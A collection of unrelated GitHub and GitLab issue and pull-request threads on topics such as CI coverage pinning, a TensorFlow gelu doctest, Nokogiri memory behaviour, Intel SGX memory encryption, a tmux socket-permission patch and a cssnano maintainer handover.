Fix #492: Resolve CI coverage bug by pinning coverage==4.5.4

What's changed ?
This PR is another way to resolve #492 (option 1)
Since #494 (option 2) was not able to submit coverage report in PR build, see if this one could.

The build has passed, however.. see this line in PR build, it could not find the job :boom:
But my fork build was able to, see this line.
:telephone_receiver: @mottosso :ambulance:

Seems rather harmless to try. If it doesn't work, we can try again. Thanks @davidlatwe, I know this CI stuff can get really tedious and unpredictable.


Add tf.nn.gelu alias for TF >= 2.4

Fixes #2252
See discussion in the above mentioned issue and the related, dropped PR #2256

@aakashkumarnain
You are owner of some files modified in this pull request.
Would you kindly review the changes whenever you have the time to?
Thank you very much.

Mentioning @seanpmorgan .

Thanks! Marking blocked since this should be tested with https://github.com/tensorflow/addons/pull/2250 . It shouldn't be long before the release now.

Added a warning in the docstring as well.

@googlebot I consent.

Hmm very slight difference w/ the keras implementation:
#23 357.3 =================================== FAILURES ===================================
#23 357.3 ______________ [doctest] tensorflow_addons.activations.gelu.gelu _______________
#23 357.3 [gw0] linux -- Python 3.6.12 /usr/local/bin/python
#23 357.3 051     Note that `approximate` will default to `False` from TensorFlow version 2.4 onwards.
#23 357.3 052     Consider using `tf.nn.gelu` instead.
#23 357.3 053
#23 357.3 054     Usage:
#23 357.3 055
#23 357.3 056     >>> tfa.options.TF_ADDONS_PY_OPS = True
#23 357.3 057     >>> x = tf.constant([-1.0, 0.0, 1.0])
#23 357.3 058     >>> tfa.activations.gelu(x, approximate=False)
#23 357.3 059     <tf.Tensor: shape=(3,), dtype=float32, numpy=array([-0.15865529,  0.        ,  0.8413447 ], dtype=float32)>
#23 357.3 060     >>> tfa.activations.gelu(x, approximate=True)
#23 357.3 Expected:
#23 357.3     <tf.Tensor: shape=(3,), dtype=float32, numpy=array([-0.158808,  0.      ,  0.841192], dtype=float32)>
#23 357.3 Got:
#23 357.3     <tf.Tensor: shape=(3,), dtype=float32, numpy=array([-0.15880796,  0.        ,  0.841192  ], dtype=float32)>

Is there anyway to increase doc test tolerance? Perhaps we just get rid of this doctest since gelu is on its way out? @WindQAQ

I think we can just change the value of doctest. Actually, old c++ impl also gets different values of pure python ops. There is slight difference in casting and constant precision between c++ impl/python in addons/python in tf.nn.gelu.


Xp Issue

I can sign into Facebook but it starts at 10 and I gain no xp,,,
I read other responses to the same problem but I can't figure it out...
Please help

And now I can't sign into Facebook either

Refer to what I said in issue #537.


Make "quote_identifiers" option available on all Db platforms

The "quote_identifiers" platform option is evaluated only by the Oracle and IbmDb2 platforms. It would be useful with other platforms too because quoting identifiers has the nasty side effect of making them case sensitive. The default behavior of unconditional quoting may cause more problems than it solves for some databases.

This issue has been closed as part of the bug migration program as outlined here - http://framework.zend.com/blog/2016-04-11-issue-closures.html


(fix) CI issues

vulnerable package in @fuels/eslint-plugin making the audit-deps CI to fail
changeset ci issue fails due to this commit

closed with #372


Read JSON files from local or remote

There is no built-in widget for reading JSON files from either local or remote.
Two ways of doing this:

create a file format converter that converts tabular files in other formats to CSV, which can be read by the built-in CSV File Import widget (the CSVW validator may play a role in this case).
create a JSON reader widget.

It seems the second option makes more sense for now, but may still need the converter widget in the future in case we want to do validation on the JSON file using the CSVW validator.

Can foresee that more checks of invalid input (URL, file format, etc.) need to be added in the future. But for now, as a prototype, the basic functions are ready.


500 Internal Server Error

create new project C# bot v3 and update app package
{
  "message": "An error has occurred.",
  "exceptionMessage": "Could not load type 'System.IdentityModel.Tokens.TokenValidationParameters' from assembly 'System.IdentityModel.Tokens.Jwt, Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.",
  "exceptionType": "System.TypeLoadException",
  "stackTrace": "   at Microsoft.Bot.Connector.BotAuthentication.<OnAuthorizationAsync>d__16.MoveNext()\r\n   at System.Runtime.CompilerServices.AsyncTaskMethodBuilder.Start[TStateMachine](TStateMachine& stateMachine)\r\n   at Microsoft.Bot.Connector.BotAuthentication.OnAuthorizationAsync(HttpActionContext actionContext, CancellationToken cancellationToken)\r\n   at System.Web.Http.Filters.AuthorizationFilterAttribute.<ExecuteAuthorizationFilterAsyncCore>d__2.MoveNext()\r\n--- End of stack trace from previous location where exception was thrown ---\r\n   at System.Runtime.CompilerServices.TaskAwaiter.ThrowForNonSuccess(Task task)\r\n   at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)\r\n   at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__1.MoveNext()"
}

I believe we're using "System.IdentityModel.Tokens.Jwt.<IP_ADDRESS>221351" which doesn't match the version mentioned in your error message.  You might consider matching versions or using app.config bindingRedirect.

I found that a single public method apart from Post in Controller would cause it to throw 500 error. Removing any public methods from Controllers, apart from Post helps, still needs a fix probably...

This might not be the version of ASP.NET you're using, but I suspect the principle is the same: if you leave a method as public in a controller, it's very likely going to be interpreted as an action in ASP.NET:
http://stackoverflow.com/questions/17418037/purpose-of-public-nonaction-methods-in-mvc

Closing due to inactivity, please open a new issue or reply to this one asking us to reopen if needed. Thanks!


TransportParameters are hidden

Although quinn-proto provides generic Session trait, transport_parameters method signature holds unexposed TransportParameters. What's the point of having generic Session trait if I'm not able to make my own implementation?
I'm looking for better way to make nQUIC implementation and I believe implementing Session trait is what I need.

I think that's just an oversight, since we don't have any third-party Session implementations. Patches welcome, or I'll fix it up tomorrow.

See #568.


Fix branch - [merged]

In GitLab by @erdzan on Jan 16, 2021, 13:53
Merges FixBranch -> master

In GitLab by @erdzan on Jan 16, 2021, 13:59
added 1 commit
eb7d2568 - Add new file
Compare with previous version

In GitLab by @erdzan on Jan 16, 2021, 13:59
marked this merge request as ready

In GitLab by @erdzan on Jan 16, 2021, 13:59
mentioned in commit d2da06b0e5c4991f95f5edd36e9f8525e473dc26


Move custom adapter samples to community

Summary
The custom adapters have been deprecated in https://github.com/microsoft/botbuilder-dotnet/pull/6137 and moved to https://github.com/BotBuilderCommunity/botbuilder-community-dotnet/tree/develop/libraries.
As part this issue, we should move the samples for the custom adapters to the community repo and remove the reference from the samples readme: https://github.com/microsoft/botbuilder-samples#custom-adapter-samples

PR created: https://github.com/BotBuilderCommunity/botbuilder-community-dotnet/pull/472

@gabog , @mrivera-ms , Can we please also update https://github.com/Microsoft/botframework-sdk#channels-and-adapters. Also, this broke a couple articles.

Yes, we should update the docs, will ping you offline so we can scope the work.


Support Arbitrary Environments

pipenv supports the --dev option to create a separate environment. It would be awesome to be able to support arbitrary environments with something like --env dev or --env prod. Until then, I can't use this for sufficiently complex apps that have separate testing, dev, and prod dependencies

not happening!

Dang, can I ask why not? this would allow me to use pipenv globally, instead of having to revert to my old virtualenvwrapper workflow for work/complex side projects

this was an explicit design decision.


8968 partial sms error

@smoyth I don't see that error when I start a Rails console locally.  I'll do the refactoring of the error classes and see if it's still an issue.

@smoyth Did the refactoring/revisions and the specs are passing.  Once this is merged I'll rebase the other branch.

@smoyth Did the refactoring/revisions and the specs are passing. Once this is merged I'll rebase the other branch.

Great! In future if you could assign such things back to me, that will help me keep things straight.


Suggestions

Hey there,
Great job on this lib.
A few suggestions:

OS notifications (as seen in https://github.com/samhocevar/portable-file-dialogs)
Zenity/KDialog backends for Linux
osascript backend for OSX (https://github.com/samhocevar/portable-file-dialogs/issues/4)

The first two suggestions are reasonable. I don't understand why anyone would need an osascript backend though.


Allow use with has_many

Great module, thanks for creating this :)

Ping :)

Hi @chillu! I've been added as a maintainer for this project by @gorriecoe.
Just making sure I understand the change - it's mostly documentation explaining how to set up the has_many relationship, and a DataExtension to add the sort the ability to make it sortable.
The only concern I have is with the hard-coded Sort value. In other modules (such as SortableGridfield or OrderableRows) this is configurable. I think it should be left up to the developer to determine the sort value.
Would be better to place the extension as an example into the documentation instead? That would mean I could merge this in without any code changes.
Excellent work!

Hi @chillu, the DataExtension isn't required as you can simply just add the following to you project yml file.
gorriecoe\Link\Models\Link:
  db:
    Sort: Int

In addition, I would be wary of adding a "global" sort to this object as future changes to a project could cause conflicts in sort order, particularly if you need to add a many_many sort later.
For now I'll close this PR but feel free to reopen if you'd like to update the documentation.


Score Displays missing in Hotseat/Teams Diplomacy Ribbon

Along with the issues mentioned in #271 , I'm not seeing the scores display in the diplomacy ribbon when playing hotseat.
My wife and I play as a team, and we pair up the other civs into teams of 2 as well, so I'm not sure if this is for ALL hotseat games or just when using teams specifically.

I just noticed your work for #411, I know you're probably hard at work on other priorities, but hopefully you're able to figure out a root cause of this behavior along with that.. Thanks, and good luck with all of the work on patching the summer patch!


Use boutiques to infer inputs/outputs in FSL command lines

Is your feature request related to a problem? Please describe.
When reading the logs in FSL (e.g. this one), we have no way to automatically find out what option/parameter is an input and what open/parameter is an output.
Describe the solution you'd like
As discuseed on January 9, we would like to rely on the Boutiques standard to find which files are inputs and outputs of a given activity (command from the logs) in FSL.
Describe alternatives you've considered
Alternative would be to use a yml file as was done for SPM (to specify that c1/c2 are outputs of segment).
Additional context
Boutiques standard : https://boutiques.github.io/
A Boutiques file example : https://zenodo.org/record/7435009#.Y7ve--LMLz8 (for FSL siena)

I have just studied boutiques, here are several points that I think are interesting:

We have only 3 functions described in zenodo for the nidm examples. In total, we have 32 unique function names in the nidm examples and this number rises to 68 if we take the command path (which sometimes takes into account the version of fsl for example). I have saved the names, I can share them.
For each command/function, the inputs in boutiques (e.g. file name) are not separated from the attributes. The outputs are well separated from the rest, which is useful for creating entities. For the input entities, this is not very practical. We could maybe add an "heuristic" to indicate if the parameter contains the word "file" in its description because each parameter has a description and it seems that it is repetitive...
Some commands like this one /usr/local/packages/fsl-5.0.8/bin/fslstats thresh_zstat1 -l 0.0001 -R 2>/dev/null do not specify all parameter names. So is thresh_zstat1 an input? In this case, I think, boutiques is not useful. From my point of view, this can be verified without boutiques by looking at the entities already created so far. If we find it, it must be an entity I think, otherwise good question (an output entity ?).
For some parameters like -searchrx -90 90 -searchry ..., boutiques is interesting because it indicates the number of values for a parameter. Thus, we know that -90 and 90 are two values of the attribute searchrx and that -90 is not an attribute name. However, with an improved regex we could also manage (currently -90 is considered as an attribute name).

Overall, I have mixed feelings about boutiques. The module could be interesting if it had more functions. What is your opinion @cmaumet ?

@thomasbtnfr! I agree with your comments. We do need a way to infer inputs/outputs for each Activity. Do you think that it would be easier to use something similar to what we have done for SPM, i.e. through a config file like: https://github.com/Inria-Empenn/BEP028_BIDSprov/blob/master/bids_prov/spm_config.yml#L2-L6? Maybe we can do this as a first step and chat with Boutiques folks on how to contribute those. Would be great if you can share the list of 32 (68) unique functions with me, I think that's tractable :)

In the first instance, I think that yes, this is a more appropriate solution.
Here is the list of the 32 function names I obtained:
printf
imrm
rm
ln
mcflirt
flirt
fsl_sub
overlay
feat_model
fsl_tsplot
immv
mv
fslmerge
mainfeatreg
film_gls
susan
bet2
fslFixText
mkdir
fslmaths
paste
fslroi
convert_xfm
pngappend
fslstats
cp
echo
contrast_mgr
slicer
featregapply
epi_reg
mp_diffpow.sh

Thank you! It would be great to see if we can leverage yesworkflows. See the corresponding paper is: https://arxiv.org/abs/1502.02403.

Finally, after fixing a reading bug in this PR, we have 38 function names in nidm_examples. If we also take the whole command and not just the function name, we have 85 commands instead of the original 68.
Here is the list (38) updated:
overlay
epi_reg
paste
fsl_tsplot
featregapply
fslmaths
tsplot
cluster
mp_diffpow.sh
fslFixText
mcflirt
cluster2html
fslmerge
slicer
susan
film_gls
mkdir
imrm
ln
ptoz
echo
mv
flirt
immv
fslroi
fslstats
printf
fsl_sub
contrast_mgr
convert_xfm
bet2
feat_model
pngappend
smoothest
mainfeatreg
rmdir
rm
cp

I am currently creating a description file of these functions to more easily retrieve the inputs (used) and outputs (generatedBy).


simple csv download functionality

This is not fully ready for merging. I'm making a pull request because I'm a little stuck on how to hide/show the download csv button depending on the chart conditions. I know there is a 'can_be_shown_as_table' variable in charts, but it's always undefined by the time the table is being rendered... quite sure I'm missing something obvious here 🙃.
I could implement a solution based on the type of chart being rendered, but it feels like the long way around. Maybe you know how this works @noracato?
Everything else is working quite well - this solution is only for charts that can be viewed as tables currently - you can download the other chart data but it's never really pretty.
P.s. - This method (from base_chart_view.coffee) looks like it's for updating the icons depending on conditions? Played around with this but I couldn't even get it to trigger with console.logs, nor find the download_csv element.
update_header: =>
    # Skip re-rendering if this chart is about to be replaced.
    return if @model.get('will_replace')

    id = @model.get 'chart_id'
    @$el.data('chart_id', id)
    @$el.find('h3').html(@model.get("name"))
    @$el.attr('data-block_ui_on_refresh', @block_ui_on_refresh())
    @$el.find('a.chart_info').toggle(@model.get('has_description'))
    @$el.find(".actions a.chart_info").attr "href", "/descriptions/charts/#{id}"
    @$el.find(".actions a.zoom_chart").attr "href", "/output_elements/#{id}/zoom"

    if @canDownloadImage()
      # saveAsPNG is exposed by app/javascripts/packs/app.ts
      #
      # Unbind any previously assigned saveAs event to prevent it being
      # triggered multiple times.
      @$el.find(".actions a.chart_to_image")
        .show()
        .off('click')
        .on('click', (event) -> BaseChartView.saveAsPNG(event, App.scenario.get('id')))
    else
      @$el.find(".actions a.chart_to_image").hide()

    @$el.find('.actions a').removeClass('loading')

    @format_wrapper = if @$el.parents(".fancybox-inner").length > 0
      @$el.parents(".fancybox-inner")
    else
      @$el

    @format_wrapper.find("a.chart_format, a.table_format").hide()
    if @model.can_be_shown_as_table()
      if @model.get 'as_table'
        @format_wrapper.find("a.chart_format").show()
      else
        @format_wrapper.find("a.table_format").show()

    @$el.find(".chart_not_finished").toggle @model.get("under_construction")
    @$el.find("a.default_chart").toggle @model.wants_default_button()
    @$el.find('a.show_related').toggle @model.wants_related_button()
    @$el.find('a.show_previous').toggle @model.wants_previous_button()

    @update_lock_icon()
    @$el.find('.actions').show()

    this

Because 'can_be_shown_as_a_table' is set to true in this class, and then overrided by other derived classes, the condition is always true at this point. So it always shows either the table or chart icon ... except in practice sometimes it doesn't show either.

I'm also a tad confused about whether both the app/javascript and app/assets/javascripts are in play - certainly the assets js is used, but is the other js still used in the etmodel?


Wrap as an npm module

This would be most useful as an npm module instead of as a Python script, which would unlock things like a webpack loader, gulp plugin, etc.

Sorry, consider myself still elm-beginner but are interested using elm for personal static website.
Installed Python 3.5.1 for Windows to try elm-static-site out, but get error running python crawl.py
'.' is not recognized as an internal or external command,
operable program or batch file.
calling examples

In windows 10 double clicking the crawl.py executes it in a command window, but it is closed so quickly that I cannot read output or error. but I think it is the same as above.
there is a convert.js included in js folder, does this do the same as the python script?
how can I use it?
Can we make a npm script like "build": "node ./js/convert.js" or something to make that work?
Any possibility getting suggestion of @rtfeldman to be worked out, probably better working cross-platform?

elm-static-html exists instead.

https://github.com/eeue56/elm-static-html


TypeError: must be str, not bytes

TimestampSigner works with no problem in Python 3.6.6, but Signer gives the following error:
  File "/path/to/python3.6/site-packages/itsdangerous.py", line 353, in sign
    return value + want_bytes(self.sep) + self.get_signature(value)
TypeError: must be str, not bytes

Never mind, see #89


unexpected memory bloat from Nokogiri::XML::Node.new

While using the SAX parser to convert large HTML docs from one form to another, I encountered high memory bloat for large documents.  I eventually traced it down to the following pattern causing an arbitrarily large number of Nokogiri::XML::Element objects being held for the lifetime of the associated Nokogiri::HTML::Document even if they are unlinked.  My assumption was that unlinking the node would allow it to be fully garbage collected, but it seems not.
Mimimization:
require 'nokogiri'
require 'objspace'  # for debug purposes
doc = Nokogiri::HTML::Document.new
# make 1000 as large as you like to consume more and more memory despite the unlink
1000.times{ Nokogiri::XML::Node.new('foo', doc).unlink }
GC.start
ObjectSpace.count_tdata_objects(Nokogiri::XML::Element)
# shows 1000 held references

Node info:
# Nokogiri (1.8.1)
    ---
    warnings: []
    nokogiri: 1.8.1
    ruby:
      version: 2.3.5
      platform: x86_64-darwin17
      description: ruby 2.3.5p376 (2017-09-14 revision 59905) [x86_64-darwin17]
      engine: ruby
    libxml:
      binding: extension
      source: packaged
      libxml2_path: "/Users/wlipa/.gem/ruby/2.3.0/gems/nokogiri-1.8.1/ports/x86_64-apple-darwin17.0.0/libxml2/2.9.5"
      libxslt_path: "/Users/wlipa/.gem/ruby/2.3.0/gems/nokogiri-1.8.1/ports/x86_64-apple-darwin17.0.0/libxslt/1.1.30"
      libxml2_patches: []
      libxslt_patches: []
      compiled: 2.9.5
      loaded: 2.9.5

Hi @wlipa, thanks for asking this question.
The short answer is that unlinked nodes are kept for the life of the document, for the reason that there may exist a ruby object that still references the underlying C struct. This is one of many compromises the Nokogiri maintainers adopted to work around libxml2's memory management model.
The code behind this can be seen in xml_node.c's unlink_node method:
/*
 * call-seq:
 *  unlink
 *
 * Unlink this node from its current context.
 */
static VALUE unlink_node(VALUE self)
{
  xmlNodePtr node;
  Data_Get_Struct(self, xmlNode, node);
  xmlUnlinkNode(node);
  nokogiri_root_node(node);
  return self;
}

which calls nokogiri_root_node, defined in nokogiri.c:
void nokogiri_root_node(xmlNodePtr node)
{
  xmlDocPtr doc;
  nokogiriTuplePtr tuple;

  doc = node->doc;
  if (doc->type == XML_DOCUMENT_FRAG_NODE) doc = doc->doc;
  tuple = (nokogiriTuplePtr)doc->_private;
  st_insert(tuple->unlinkedNodes, (st_data_t)node, (st_data_t)node);
}

These "unlinked nodes" are later freed when the Document is cleaned up. This mechanism is setting xml_document.c:dealloc as the cleanup method when we wrap the Document struct:
VALUE Nokogiri_wrap_xml_document(VALUE klass, xmlDocPtr doc)
{
  nokogiriTuplePtr tuple = (nokogiriTuplePtr)malloc(sizeof(nokogiriTuple));

  VALUE rb_doc = Data_Wrap_Struct(
      klass ? klass : cNokogiriXmlDocument,
      0,
      dealloc,
      doc
  );

  VALUE cache = rb_ary_new();
  rb_iv_set(rb_doc, "@decorators", Qnil);
  rb_iv_set(rb_doc, "@node_cache", cache);

  tuple->doc = rb_doc;
  tuple->unlinkedNodes = st_init_numtable_with_size(128);
  tuple->node_cache = cache;
  doc->_private = tuple ;

  rb_obj_call_init(rb_doc, 0, NULL);

  return rb_doc ;
}

and the dealloc method then cleans it up, referencing the hash table via the DOC_UNLINKED_NODE_HASH macro:
static void dealloc(xmlDocPtr doc)
{
  st_table *node_hash;

  NOKOGIRI_DEBUG_START(doc);

  node_hash  = DOC_UNLINKED_NODE_HASH(doc);

  st_foreach(node_hash, dealloc_node_i, (st_data_t)doc);
  st_free_table(node_hash);

  free(doc->_private);

  /* When both Nokogiri and libxml-ruby are loaded, make sure that all nodes
   * have their _private pointers cleared. This is to avoid libxml-ruby's
   * xmlDeregisterNode callback from accessing VALUE pointers from ruby's GC
   * free context, which can result in segfaults.
   */
  if (xmlDeregisterNodeDefaultValue)
    remove_private((xmlNodePtr)doc);

  xmlFreeDoc(doc);

  NOKOGIRI_DEBUG_END(doc);
}

I'm open to other solutions; notably we could try to track Ruby objects that are reference the C struct, but that would add considerable complexity to the codebase for what is a rather narrow edge case.
I'll leave this issue open for a few more days to hear comments and continue the conversation.

Thanks for the explanation.  It would be nice if the unlink documentation mentioned that the nodes would not be GC-eligible until the document went away.
I doubt it would be worth it to add some complicated mechanism to track Ruby objects, but might it be possible to add a destroy method on Node when you're sure there aren't any other references?

IIRC the reason we can't just free nodes is that libxml2 interns strings, and will try to free interned strings when you free a node.  The interned string map is held on the XML document, and I don't think there is a way for us to tell if the Node shares strings with the interned string map.  So yes it's possible for us to add a method that would actually free the node, but I don't think you could actually be sure there are no references, so you could introduce segvs.

OK, I'm going to go ahead and close this issue.

@flavorjones , thanks for these explanation. I am also facing the problem which memory usage is increased highly when I use nokogiri::xml::builder.
Can you please describe in more details how I can reduce it in ruby?
Thanks


Develop a GNN model for shallow water equations

Implemented here: https://github.com/NVIDIA/modulus/pull/400


Implications of Upcoming Total Memory Encryption (TME)

What's the impact of TME release on this SDK?

according to what i've known, no major changes in this sdk. things should work smoothly except the attestation procedure.

here are some other contexts i have:

TME is total memory encryption, another memory encryption technology apart from Intel SGX Memory Encryption Engine.

Differences between TME and SGX MEE: SGX MEE guarantees memory integrity by maintaining a merkle tree. meanwhile the depth of the merkle tree limits the size of EPC; TME does not guarantee memory integrity (1st generation of TME) so EPC size limit is significantly higher than SGX MEE.

Intel SGX v2 (upcoming in icelake+whitley) uses MKTME, Multi-Key TME

Intel TDX, as a competitor of AME SEV, uses MKTME as well: https://software.intel.com/content/www/us/en/develop/articles/intel-trust-domain-extensions.html

According to https://www.kernel.org/doc/html/v5.11/x86/sgx.html#encryption-engines:

In CPUs prior to Ice Lake, the Memory Encryption Engine (MEE) is used to encrypt pages leaving the CPU caches. MEE uses a n-ary Merkle tree with root in SRAM to maintain integrity of the encrypted data. This provides integrity and anti-replay protection but does not scale to large memory sizes because the time required to update the Merkle tree grows logarithmically in relation to the memory size.
CPUs starting from Icelake use Total Memory Encryption (TME) in the place of MEE. TME-based SGX implementations do not have an integrity Merkle tree, which means integrity and replay-attacks are not mitigated. B, it includes additional changes to prevent cipher text from being returned and SW memory aliases from being Created.

Is this accurate?
If I understand it correctly, this would compromise the security properties of SGX dramatically, and make it unsuitable for many current applications, wouldn't it?

It looks like we need to be very careful about processor selection if we want SGX MEE and not TME.
I'm reading these specs as saying "if it has TME then it isn't using MEE".
Could there be a BIOS setting to set Ice Lake chips to use MEE with the small Enclave Page Size ?
Intel® Xeon® E-2386G Processor  Rocket Lake

Q3'21
Intel® Software Guard Extensions (Intel® SGX): Yes with Intel® SPS
[Doesn't mention TME so must be MEE]
Maximum Enclave Page Cache (EPC) Size for Intel® SGX: 0.5 GB

Intel® Xeon® Gold 6312U Ice Lake

Q2'21
Intel® Software Guard Extensions (Intel® SGX): Yes with Intel® SPS
Intel® Total Memory Encryption: Yes [so not MEE]
Maximum Enclave Page Cache (EPC) Size for Intel® SGX: 64 GB


React-native support

I'd like to know that If there'll be React Native support?
Thanks

Hy @telmen, to be honest, I'm very out of React native world. I think that this can be a really great feature to implement, but I don't have idea how!

It would be awesome, but me neither know how to implement such a thing. Perhaps someone from the react-native repository could help?

I think it might be possible using https://github.com/necolas/react-native-web, but it will only work for pure-js components. Other than that there's probably no easy way to demo the component, except for streaming it from a real device like you can do in the expo playground 🤔

@albinekb That's a good approach, take a look at the Storybook solution.
The thing is the "native" part, this stuff depends a lot on the real device (or emulated) (sometimes). There are a lot of apps that use js-only components but others doesn't.
Again, i think that the Storybook approach it's not bad.
What do you think ?

To facilitate user feedbacks and make a really good roadmap, now we're using Canny as a tool to create our roadmap 😍
We think that is better keep Github issues only for bugs and other issues! 🐞
This issue is already on our roadmap, so I'll close this issue in favor of it!
👉🏻 Check this issue on roadmap


Update Babel config to target modern browsers/Node.js

Fixes https://github.com/vanilla-extract-css/vanilla-extract/issues/1236

Update Babel config to target Node.js 14
Configure Preconstruct to retain await import('vite') syntax
Upgrade Vite, Vitest and vite-node

Previously, we were using the esmodules target which targets the very first versions of browsers that support ES Modules. That includes a lot of transforms that we don't need to run anymore.  We don’t rely on any new or deprecated Vite and vite-node APIs, which is why we treated this as a routine dependency bump. And, as you are probably aware, versions of Node.js <18 are end-of-life and no longer maintained. While we don’t have a defined Node.js support policy, following the Node.js release schedule would be a reasonable expectation.
It looks like your integration tests run against Remix v1, so pinning @vanilla-extract/integration is a perfectly viable solution (Remix v2 also requires Node.js 18+).
Interestingly, Remix’s support policy states that they can drop support for EOL versions of Node.js in a minor version:

Remix officially supports Active and Maintenance Node LTS versions at any given point in time. Dropped support for End of Life Node versions is done in a Remix Minor release.


tmux-git: can't create socket: Permission denied

tmux-git 2.0.171.g7acc4ad-1:
$ tmux
can't create socket: Permission denied

tmux-git 1.9.4851.f8481f9-1 is ok.

I suggest for now add tmux-git in IgnorePkg IgnoreGroup and NoUpgrade in pacman.conf and install the 1.9 manually

I've got "tmux-git 2.0.171.g7acc4ad-1" and managed to lunch it with manually specifying the socket file that doesn't exist and /dev/null for configuration:
$ mkdir /tmp/tmux-hack/
$ tmux -S /tmp/tmux-hack/default -f /dev/null

Not sure why, but if either of options are removed, tmux fails to start.

Probably tmp directory's create mask permission is 0755. But "tmux.c" expect to other's permission is not set. The patch is below. It seems that could modify our issue.
diff --git a/tmux.c b/tmux.c
index 62f8a80..4633f76 100644
--- a/tmux.c
+++ b/tmux.c
@@ -149,7 +149,7 @@ makesocketpath(const char *label)
 		errno = ENOTDIR;
 		return (NULL);
 	}
-	if (sb.st_uid != uid || (sb.st_mode & S_IRWXO) != 0) {
+	if (sb.st_uid != uid || (sb.st_mode & S_IWOTH) != 0) {
 		errno = EACCES;
 		return (NULL);
 	}

However I don't know the modification which is correct. And I don't confirm other environment... (ex: linux, mac...)

same problem here

Probably solved by #286.


Issue during creation of Assisted Vault

I added the 3 requisite keys then clicked on Create. The app crashed once and one time became unresponsive.
https://github.com/user-attachments/assets/00f9c31f-8afd-457f-869d-112641d0fa61

@ASN-BitHyve Tried it twice but was not able to replicate the crash(at least not on the iOS simulator). All the mechanisms involved in the creation of the assisted vault seem to be working fine, if there's something going off, it most likely is going off in the UI component itself.
https://github.com/user-attachments/assets/c4351d77-110f-4586-8639-8b0d4b0cc81c
@Raheel1258 Please test it once and confirm.


Fix parameter set but unused on psa_cipher_update_ecb

Fix #4935. The only compiler known to complain so far is the development version of Clang (to be released as Clang 14), which oss-fuzz just switched to.
Needs backport: 2.x

Thanks Gilles for working on this fix


SD data_format support NHWC

SD data_format support NHWC

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.


Create a Health Check - "Health change thresholds" option does not exist

Which Cloudflare product does this pertain to?
Health Checks
Existing documentation URL(s)

https://developers.cloudflare.com/health-checks/get-started/#create-a-health-check

What changes are you suggesting?
It is mentioned:

Health change thresholds, which specify the number of consecutive passed or failed checks before an origin changes status.

However, the "Health change thresholds" option does not exist upon creating a health check.
Instead, I believe this is referencing the "Retries" option:

Hence, the documentation should rather state:

Retries, which specify the number of consecutive passed or failed checks before an origin changes status.

Additional information
No response

Thanks for raising, @Techsurfer1981. Should be fixed whenever the latest build goes live.


Backend API Changes for System Generated Comments - State Changes (#802)

The system insert comment on every state transition with username as informational comment.
DOD

[x] Changes in model to identity the transition only i.e. exclude save for raw request
[x] Changes in model to identity the transition only i.e. exclude save for ministry request
[x] Inclusion of new events service to allow enable and disable state transition (placeholder centralized) class
[x] Inclusion of state service to capture events for raw request
[x] Inclusion of state service to capture events for ministry request

please note; no explicit unit testing is required; as it is covered as part of save operation.

Message format used : @name changed the state of the request to @state


[FEATURE] Support in-cluster PXE booting service to orchestrate mass deployment

Is your feature request related to a problem? Please describe.
As per #217 , PXE boot is supported in the Harvester installer, but users still need to set up the required environment for the complete deployment like iPXE/PXE server.
For better workflow for the user experience, we should provide a built-in booting service (ex: PXE/iPXE) for the complete automatic node deployment and provisions like the features provided by Metal3 bare mental operator or Tinkerbell boots service, and Canonical MAAS provisioner, then users are able to manage via APIs and UI (user interfaces).
Describe the solution you'd like

A booting server is required to set up when the cluster (the first control plane node) setup ready
The related APIs are supported to configure nodes ready for deployment and provisioning
The remaining nodes will be deployed and joined to the cluster
For other tech details, an RFC is required

Describe alternatives you've considered
#217 supported only, and users need to set up the infra for running PXE booting flow.
Additional context

https://github.com/tinkerbell/boots
https://github.com/metal3-io/baremetal-operator

cc @bk201 @wjimenez5271

Yeah alternatively, I suppose that any IPMI/redfish would be useful?

@ibrokethecloud is working on a prototype based on Tinkerbell.
Basic UX:

Install the first node using ISO.
User can now use setting to enable Automated Mass Deployment(temporarily name) feature, which will deploy Tinkerbell via Helm chart.
New API and UI will be available for the user to set the mac addresses (and other information e.g. host name) of the new nodes that wanted to boot up and join the cluster.
The other nodes will boot up then automatically install, reboot, and join the cluster.
User can disable the setting, which will remove the Tinkerbell from the system.

This would be very exciting! @ibrokethecloud I searched around a bit, looks like this is where you’re at? 🚀
https://github.com/ibrokethecloud/harvester-tink-operator
I think I’ll kick the tires here (we’re also looking at Harvester overall, thanks for all the hard work!) and see what I run into!


fix regression in TestUsingBareVariablesIsDeprecated

Fix regression introduced in https://github.com/willthames/ansible-lint/pull/201 that occurs when with_together is used with a single variable (instead of a list):
    - name: with_flattened loop with a variable
      debug:
        msg: "{{ item }}"
      with_flattened: "{{ some_list }}"

This was failing ansible-lint with:
ANSIBLE0015 Found a bare variable '{{ some_list }}' used in a 'with_flattened' loop. You should use the full variable syntax ('{{{{ some_list }}}}')

Merged, thanks

v3.3.3 released to include this fix.


Icons enable doesn't work (Win 8.1)

Hi,
Thanks for your great extension.
First of all, please note, at my work, I'm using Windows 10, & I enabled your extension successfully.
But at home, I just installed vscode-icons, and run VS Code in Administrator mode, but Icons Enable doesn't work.

I'm using latest version of Visual Studio Code & your extension.
I'm using Windows 8.1
I'm sure this issue is not a duplicate? I googled first and found nothing.

BTW, when I run Icons Disable , VS Code telling me, you need to restart VS Code to see the effect.

Please, take a look into the dev console and let us know what you see.

I'm sorry, what you mean? I'm not familiar with dev console that you mentioned.

Go to VSCode menu > Help > Toggle Developer Tools > Console

http://prntscr.com/c21m5m
If there's any error when you're clicking on console, let us know.

Looks like there is an proxy before you. Please check your windows enviroment variables for the Proxy connection.

This seems to me like a proxy issue. See #21

I tired everything about proxy, but no success.
But with offline icons support I have your icon set. (thanks for that)


New maintainer requested.

Hi folks,
I thought I would have time to maintain this project for Ben but I need to be realistic and admit that I don't have the cycles. I have given npm publish permissions to @ai (except for the postcss-svgo and postcss-zindex packages that I didn't have permissions on, @ben-eb will need to handle those).
Hopefully, a new primary maintainer can be found and development can proceed apace.
Chris

A few benefits of maintaining cssnano:

It is default CSS minifier in webpack.
It has a unique modular design.
There are many ways to improve it. Especially with a modular design. For example, you can provide presets (like if you are using BEM, take this not 100% safe, but safe for BEM optimizations).
It has 2M downloads every month
2M downloads and webpack make you a welcome speaker to any CSS conference

@ai :+1: Awesome!
